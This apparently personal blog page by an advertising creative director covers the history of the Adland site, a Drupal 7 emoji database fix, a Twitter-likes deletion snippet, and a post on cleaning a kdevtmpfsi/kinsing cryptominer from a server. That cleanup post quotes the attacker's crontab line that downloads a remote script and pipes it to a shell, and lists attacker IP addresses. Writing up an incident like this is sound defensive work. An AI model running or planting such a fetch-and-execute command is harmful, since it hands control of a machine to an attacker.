Dabitch.net - Everything is so random there must be a pattern

Hi, I'm Åsk, I'm a geeky creative director. Here I share whatever is on my mind and the occasional script.

Dabitch.net - Everything is so random there must be a pattern

Adland : the never-ending project

Adland : the never-ending project

On January 24, 2025, I announced that I had taken Adland offline. I can no longer be the person who single-handedly runs the servers, the databases, the web design, and the archiving of adnews and commercials on Adland.

In April 2025, Adland was revived by marketing media company Marketecture, and is no longer run by me.

Test Card F

Challenge

I bored all my friends talking about advertising all the time. I am obsessed with ads. I wanted to share ad knowledge with other ad geeks.

Solution

I built a website - from the servers and up - to collect ads, share ad news, and to talk about ads with like-minded people. It serves both as a water cooler gossip site, advice for students and news source. It began in 1996 and is still going. I've created the trademarked name, red TV logo and several test-card F inspired website themes, as well as a Test Card F 404 page.

Result

I'm still obsessed with ads, so it didn't help at all.

Press, technical development and features in Adland over the years

Many outlets either used Adland for source materialor reported on things happening on the site and to Adland. I'm not sure for how long we've been linked at the Library of Congress researchers moving images center, but it has been years. Probably two decades.


1998: "She puts the plagiarized ads on the web" (Sweden)

2000: Marketingmag Canada (Canada)

Researchbuzz alert (USA)

Adformatie "Seven hours of viewing pleasure" (The Netherlands)

2001: The Globe and Mail "All ads, all the time - only on-line" (Canada)

Creativity Magazine : Alt Career / Dabitch is back 2001 (USA)

2002: Wired: When the Spam Hits the Blogs (USA)

Markedsføring:"Sikke mange spøgelser" (Denmark)

Banner Project: "Click on those who click on Adland"

I created banners from visitor stats that rotated and revealed how global Adland was, as visitors came from ad agencies, ad schools and film schools all over the world.

2003: Propaganda : 15 NOK for 10,000 commercials (Norway)

"Lekplats för reklamare - Playground for ad people" IDG Internetworld (Sweden)

Shootonline on Adland back in April 2003 (USA)

Variety - Got ads? Adland is center for news - September 2003 (USA)

The Adland® Paywall - charging for ad access and getting banned by Paypal. 

2004: The advertising show March 2004 (USA)

Adland, winner of MarketingSherpas Readers' Choice Award 2004 (USA)

Philadelphia Inquirer 2004 "Entertainment, but where's the pitch?" (USA)

VEER: Ad Comments And Stir (USA)

NewsDirect - Advertising community hits the 35.000 members mark

"The world's largest advertising community rounds out 35,000 users"

2005: Fast Company - Best Business Blogs: Advertising (USA)

Etermedia - Sites you can not live without! (Sweden)

Billboard: Blogging By Moonlight (USA)

Børsen - the Danish Financial Times writes about Adland and Marachino (Denmark)

Politiken Nyheder Denmark July 2005 (Denmark)

IDG Computerworld / Internetworld @IDGse 2005 (Sweden)

2006: The Ranch - Interview with Dabitch (USA)

Adfreak: "Adland turns ten, braces for spankings" (USA)

Attention Magazine: The New Media Elite  (Sweden)

Adland's Battle of the ad blogs 2006 (Adand / Global)

Internetworld: form och funktion 06 - Best design and functions 2006 (Sweden)
          We had all of our commercials tagged by the users of adland, and this was listed as 2006 best web design function by the internet magazine IDG

The user tag page in 2006, all of these tags were on the commercials, and you could navigate by content like "dog"

2007: New York Times looks at Super Bowls past - source: Adland (USA)

Svenska Dagbladet: Check out Adland's amazing archive (Sweden)

Marketingsherpa: PR Interview: How to Be Seen in Adland, the Land of Edgy Video Ads (USA)

2008: Agencyspy: Adblogger Gets Death Threats etc. Over Human Rights Ads 2008 (USA)

Dagens Industri - Dödshot från läsare vardag för reklambloggare (Sweden)

Metro: "Mamma måste ha tappat mig på huvudet" 2008 (Sweden)

MedieVärlden: Kinesiska dödshot mot svensk reklamblogg (Swedish)

#adland A new design trick in 2008 was to pull in the hashtag #adland and use it in our banner area, allowing anyone on Twitter to play with our tagline.

2009: Dagens Industri "The worlds largest Super Bowl commercial collection.. is Swedish" (Sweden)

Medie Världen: "Vem vill se 37 år gamla Super Bowl-filmer, Åsk Wäppling?" (Sweden)

Dagens Industri - Adland airs live from The Cannes Festival (Sweden)

So, the worlds largest super bowl archive - 38 years! - is now embeddable (USA & Adland)

In 2009 Adland began pulling in all registered Adgrunts tweets from Twitter to catch fresh ad gossip. This was discontinued in 2011.
2009 was also the year of Bambuser, allowing any adgrunt to air live from their cellphone to be seen Adland

2011: Dagens Media: "Ad blogger banned by Google, accused of spreading pornography" (Sweden)

Brand Republic ranks Adland the sixth most influential in the world (UK)

The Adage power150 blog rankings. (USA)

2012: Meet The 22 Most Influential Advertising Bloggers (USA)

Adweek - 'The legendary ad blogger on Instagram creatives, brands riding the Reddit wave..." (USA)

2013: Financial Times Superbowl 2013 "Adland declared..." (2013)

Brand Equity "Ads and their keepers" - 2013 (India)

AdAge: AD BIZ IS YUKKING IT UP WITH THE #AGENCYLIFE HASHTAG (USA)

BI: #AgencyLife Hashtag On Twitter Prompts Huge Outbreak Of Whining In AdLand (USA)

[Maine Today interview: Åsk Dabitch Wäppling CEO of Adland](https://dabitch.net/maine-today-interview-ask-dabitch-wappling-ceo-of-adland/ (USA)

Creative Interviews - Åsk Dabitch Wäppling (UK)

2013 and 2014 was the years of the Pinterest-like forever scroll design of the website, which you can still see in action at the Internet Archive.

The forever Pinterest style scroll would fill up, or shrink down to, any screens size 

2015: Tom Megginson: "Who owns Adland?" (Canada)

2016: Adland calls out Ad Age on Twitter over 'sexism' in the industry (USA)

Mediabistro: 8 Blogs Every Media Professional Should Follow (USA)

Dagens Media: Reklamtrötta reklamproffs ledde till sajt på dark web (Sweden)

The Drum: Adland goes Dark (web) (UK & USA)

Independent.ie "Can media make it on the darkside?" (Ireland)

"If she's crying, she's buying" Brand Equity (India)

[AMA Marketing Insights: A Marketer's guide to the dark web 2016](https://dabitch.net/ama-marketing-insights-a-marketers-guide-to-the-dark-web-2016/ (USA)

Quoted in Economic Times "Adworld’s most unusual CEO"  (India)

Curiosity July 2016: 8 RESOURCES FOR THE ADVERTISING-OBSESSED (USA)

2017: Resumé : Åsk Wäppling - The advertising worlds outsider / Reklamvärldens outsider (Sweden)

2019: Resume about Adland: "Ad writer accuses Nike of plagiarism" (Sweden)


The DMCA from Bridgestone event:

Reclaim: "World’s largest and oldest commercial archive Adland taken offline" (USA)

LIKELIHOOD OF CONFUSION™ notes Adland's death (USA)

Resumé : Reklamsajten Adland hotas av nedläggning (Sweden)

Bluebus; 'Adland' goes down for publicizing Bridgestone commercial - lawyer complained (Brazil)

SF Egotist: "Adland shut down over DMCA takedown" (USA)

Techdirt "Adland shuts down after web host complies with bullshit DMCA notice" (USA)

How do you get emojis accepted in Drupal 7 ? ? ? ?

How do you get emojis accepted in Drupal 7 ? ? ? ?

Quite a long time ago, as Kidsleepy was writing an article on Adland, he added an embedded tweet that contained an emoji. Eeek. This lost the entire article, as he met a page stating "an error occurred". I knew from his frustrated rantings at the screen that I had to solve the issue of emojis in Drupal 7, fast.

And I did, but then I was suddenly bounced off the cloud server host Vultr, and had to set up a new server somewhere else, and I lost a lot of tweaks I had done along the way. So I just fixed this again and figured I should make a note in case anyone else was in need of help. All of this assumes that you have sudo access because life isn't fair but the root password helps.

The issue stems from the fact that in Drupal7 the MySQL driver does not support full UTF-8. You can fix this in several ways, you could even use the table converter module. Personally I simply converted the tables for HTML fields and you'd have to do the same with your database. I use Drupal paragraphs, so I had to make sure to convert my "html_content" fields as well. And don't forget the comments. Straight in MySQL this can be done like so;

ALTER TABLE field_data_body MODIFY body_value longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci, 
ALTER TABLE field_revision_body MODIFY body_value long text CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci,
ALTER TABLE field_comment_body MODIFY comment_body_value longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci,
ALTER TABLE field_revision_comment_body MODIFY comment_body_value longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;

 

Also, don't forget to do the same with comment_body_format and body_summary - anywhere that you will have emoji or HTML input in your database. If you want to allow Emoji or Japanese character names, you'll need to change the user table fields. 

 

Now, there are two other things you need to do in order for this to work. First, in your settings.php, add this; 

$databases = array (

 

  'default' => 

  array (

    'default' => 

    array (

      'database' => 'databasename',

      'username' => 'databaseusername',

      'password' => 'databasepassword',

      'host' => 'localhost',

      'port' => '',

      'driver' => 'mysql',

      'prefix' => '',

      // Add default charset and collation for mb4 support here.

      'charset' => 'utf8mb4',

      'collation' => 'utf8mb4_general_ci',

    ),

  ),

);

Then, find your mysql.cli and make sure that you have this;

 

  [client]

default-character-set = utf8mb4

 

[mysql]

default-character-set = utf8mb4

character-set-connection = utf8mb4

character-set-results = utf8mb4

 

[mysqld]

character-set-client-handshake = FALSE

character-set-server = utf8mb4

 

collation-server = utf8mb4_unicode_ci

 

Restart your MySQL server, clear all of your Drupal caches, and you are now on your way to commenting "⛪?❗" to your heart's content. Enjoy! 

 

kdevtmpfsi & kinsing - the malware miner that will eat your CPU

kdevtmpfsi & kinsing - the malware miner that will eat your CPU

How embarrassing. I noticed that things were moving slowly on my server today, and finally had a few minutes to look over what might be going on. Turns out a process named kdevtmpfsi was eating all of my CPU and had been for hours. Now what is that? It's malware and a bitcoin miner, and it's not mine. So how do you find it and sort it out?

First, hunt it down by searching for that curios word in all linux files:

find / -type f -exec grep -l "kdevtmpfsi" {} +

In my case it was spotted in /tmp/zzz and at /var/tmp/kinsing - to ensure that these files can't be changed or run for the moment, just blank them out, with

touch /tmp/kdevtmpfsi && touch /var/tmp/kinsing

chmod 000 and chattr -iR

(Also, you might want to save copies but not on your server, if you want to read it later)

Now you have to figure out how this file is run. Check your crontab for every user.

for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done

This is how I found that the solr user had a suspicious entry:

* * * * * wget -q -O - http://195.3.146.118/s.sh | sh > /dev/null 2>&1

So I removed that, and made sure the file could no longer be edited with chattr -i - and then I removed the previously mentioned files, and now am busy hardening my server. For a little peace of mind, I removed wget for the moment and added all suspicious IPs to my iptables.

Make sure you kill whatever is running by checking what the exposed user is running.

ps -ef | grep <user>

Remember to check that you found it all with the following:

find / -name kdevtmpfsi find / -name kinsing

Now all you need to do is patch whatever let this in, in the first place. And harden anything else that the script touched, this is why you saved that file. Generating new SSH keys is advisable.

In my case, as you can see, solr was the culprit. I'm stuck with solr 7 due to a plugin not ready for eight yet, so I have to patch it as there is a remote code execution vulnerability in it, which I did. Another option would be to upgrade to 8. Now you can delete the weirdo files generated by the miner.

Also I decided to permanently drop the specific IPs that I found

iptables -A INPUT --src 193.33.87.219 -j DROP iptables -A INPUT --src 91.215.169.111 -j DROP iptables -A INPUT --src 45.10.88.102 -j DROP iptables -A INPUT --src 217.12.221.24 -j DROP iptables -A INPUT --src 217.12.221.244 -j DROP iptables -A INPUT --src 185.92.74.42 -j DROP iptables -A INPUT --src 142.44.191.122 -j DROP iptables -A INPUT --src 195.3.146.118 -j DROP

A fun side-project as we self-isolate

A fun side-project as we self-isolate

I had a lot of fun designing the "Joy of pandemic cooking" cover today.

Staying cooped up in the house can get a little boring, but not when you distract yourself with projects like spring cleaning, small space home workouts, or hey - writing a cookbook. Evan Brown cranked out this dark satirical novel - slash - cookbook in just three short days, and naturally it had to have a wink to the most legendary cookbook of all time as its cover design. But instead of a "registered" R notice after the term, that's a little coronavirus icon.

"The joy of Pandemic Cooking" is available on Amazon - or you can email the author directly for a different format if you don't have Kindle as stated in this article here - and eventually, I'll add ths cover to my portfolio but right now I'm a tad busy with fixing Adland's search engine. :)

Charging for commercial access on Adland® - a short era

Charging for commercial access on Adland® - a short era
Adland had a paywall for some time. When the bandwidth for serving the commercials became too large of an expense for me, I devised a plan. Prior to this Adland had been hosting on Level3 the Dutch backbone internet, and I had no problem with the fees for that as I was paid handsomely at my then job. But as the traffic became unpredictable and expensive I had to figure out something better. I built a couple of large servers to keep at my house, for DNS, mail and web as well as for the film formatting and data storage, and to fund this I put up a simple paywall that used Paypal at first, and later could handle major credit cards via iDibs.

The reason we had to switch to Dibs was that Paypal pulled the rug out from under us right before the super bowl, and froze our assets. It was decidedly not fun at all, and I developed a deep distrust of third party anything at that point. On January 15 2004 Paypal froze our assets (which were meant to pay the bandwidth bill, thank you very much) and cited this:

"After reviewing your site, and in accordance with Section 11 of the User Agreement, your account has been closed."

What is Section 11? Adult content. As it turned out, it was an old article about Tom Ford's Opium ad with a nude Sophie Dahl. Yes, this ad:

Sophie Dahl nude for Opium perfume

The article was posted on Adland® April 24, 2001. Adland had been using the Paypal service since Oct. 17, 2001 and Adland was a Verified Paypal member since somewhere around November of that year.

So, three years later, again right before the super bowl, they discovered the old Sophie Dahl nude and froze everything that was in the Paypal account at the time (which was a lot) without warning. It's enough to make a girl paranoid.

We continued charging for membership, but now with a bonus, you would see Adsense ads if you were not logged in, but those ads would go away if you supported the site by becoming a member. You stayed an adsense-free member even for the months you weren't paying to access the commercials. Our text articles, so to speak, were thus supported by Adsense and drove traffic, while our archive was there to keep the Adland® members - known as "Super Adgrunts" - coming back.

Deleting Twitter favourites/likes with one click

Deleting Twitter favourites/likes with one click

I have been in the habit for years now, to delete my Twitter favourites or likes, because I 'heart' them for lots of reasons, most of which have nothing to do with actually liking the tweet. I have been in the habit of bookmarking tweets with the likes since forever, because I may use the tweet in a future article or presentation. But I can also use the like as a simple "saw this tweet" at the end of a long twitter thread, and just as your general "I actually liked this," as well as just accidentally liking tweets as I scroll by with my stupid thumb. Or rather, knuckle, if you saw the length of my nails you'd know I'm a knuckle-phone operator.

No matter what people may assume about my likes, it's a privacy issue, anyone can see tweets that you 'liked', which reveals a lot about the accounts that you follow and interact with. So, I delete them, as often as I can. Today I was reminded to do so when I saw that a Center party politician in Sweden decided to unfollow a news organisation because they had liked a Trump tweet. The news organisation Finwire news coincidentally reports on a lot of things that Trump tweets as it affects financial sectors.

This is a little javascript that works well with the new Twitter layout to delete every tweet you liked (that can be seen). If your account is as old as mine is, you may have a remnant number of likes registered in your count, but no liked tweets can be seen. This is due to Twitter API limitations, and more robust methods can get rid of those if you want to, for example the paid version of Twitter Archive Eraser can delete those, as well as all of your old tweets well past the 3200 limit. 

This little snipped is free to use though and works just fine.

Simply go to the likes page of your account (when you are logged in to Twitter with your web browser it is at twitter.com/youname/likes), open the developer window for javascript, and copy-paste this into the console.

 

setInterval(() => { for (const d of document.querySelectorAll('div[data-testid="unlike"]')) { d.click() } window.scrollTo(0, document.body.scrollHeight) }, 1000)

 

Leave the window open for a bit and go make a cup of tea, once it has run its course you will have no liked tweets. Fresh start. Now people can judge you for everything that you retweet instead.

"Click on those who click on adland" - banner project from visiting domain names.

"Click on those who click on adland" - banner project from visiting domain names.

On April 22 in 2000 I sat down and wrote a little script that would pull out interesting names from my visitor traffic and then I would create banners with these names and link back to the visitor's official websites. This went on until July 30 2003, when I retired the project into a banner museum. The banner museum can be viewed via the internet archive, here.

The point wasn't only to reveal adland's influence, but also to be a bit of an in-joke as you could clearly seed the names of advertising agencies from around the world visiting. It didn't hurt that a lot of the gateway servers had very amusing names, like "pat-e-cake.fallon.com"

Here are a few of the banners, you can see Crain communications (owner of Adage) and the FCC were visiting.

Great! You’ve successfully signed up.

Welcome back! You've successfully signed in.

You've successfully subscribed to Dabitch.net - Everything is so random there must be a pattern.

Success! Check your email for magic link to sign-in.

Success! Your billing info has been updated.

Your billing was not updated.